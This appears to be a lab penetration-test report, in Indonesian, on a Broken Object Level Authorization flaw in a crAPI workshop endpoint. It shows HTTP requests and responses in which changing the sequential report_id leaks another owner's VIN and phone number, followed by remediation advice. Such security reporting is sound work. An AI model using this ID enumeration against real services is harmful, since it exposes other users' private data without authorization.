Broken Object Level Authorization - Workshop - Mechanic Report

Kerentanan

[FAIL] Broken Object Level Authorization - Workshop - Mechanic Report

Deskripsi

Endpoint mechanic_report menerima report_id sekuensial dan mengembalikan laporan servis milik pengguna lain (VIN & email pemilik) tanpa verifikasi keterkaitan dengan pemanggil.

Dampak

Confidentiality: kebocoran lintas-pengguna atas VIN, detail kendaraan, dan email pemilik untuk seluruh laporan servis.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

API1:2023 - Broken Object Level Authorization (dan API3:2023 - BOPLA)

Skenario

Normal: membaca report_id=1. Eksploitasi: enumerasi report_id (mis. =2) -> membocorkan VIN + email owner berbeda -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

Fitur terdampak

Laporan Servis Mekanik (crapi-workshop)

Rekomendasi perbaikan

- Verifikasi report_id terkait user/mekanik pemanggil. - Gunakan UUID & minimalkan field yang dikembalikan.

Bukti konsep

1. (Screenshot 1) NORMAL: GET mechanic_report?report_id=1 dengan token attacker -> 200 (referensi).
2. (Screenshot 2) EKSPLOITASI + CIA: ubah parameter menjadi report_id=2 -> 200 membocorkan VIN + email pemilik lain ([REDACTED-EMAIL]).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: report_id=1 (referensi)

Alur normal: membaca laporan servis dengan report_id=1 sebagai referensi.

HTTP request

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

{
  "id": 1,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 3,
    "vin": "0NKPZ09IHOP508673",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570001"
    }
  },
  "problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a call on my mobile 9876570001,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nRobot.\n",
  "status": "pending",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

EXPLOIT+CIA: report_id=2

DAMPAK CIA: report_id dinaikkan (sekuensial) -> membocorkan laporan milik pemilik kendaraan lain (VIN + email [REDACTED-EMAIL]). Confidentiality: data lintas-pengguna.

HTTP request

GET /workshop/api/mechanic/mechanic_report?report_id=2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 490

{
  "id": 2,
  "mechanic": {
    "id": 1,
    "mechanic_code": "TRAC_JHN",
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": ""
    }
  },
  "vehicle": {
    "id": 2,
    "vin": "8VAUI03PRUQ686911",
    "owner": {
      "email": "[REDACTED-EMAIL]",
      "number": "9876570006"
    }
  },
  "problem_details": "My car MG Motor - Hector Plus is having issues.\nCan you give me a call on my mobile 9876570006,\nOr send me an email at [REDACTED-EMAIL]\nThanks,\nPogba.\n",
  "status": "inprogress",
  "created_on": "28 September, 2026, 14:28:07",
  "updated_on": null,
  "comments": []
}

← Kasus sebelumnya: Broken Object Level Authorization - Vehicle - Location Tracking (Unauthenticated) Kasus berikutnya: Broken Object Level Authorization - Workshop - Mechanic Report (Unauthenticated) →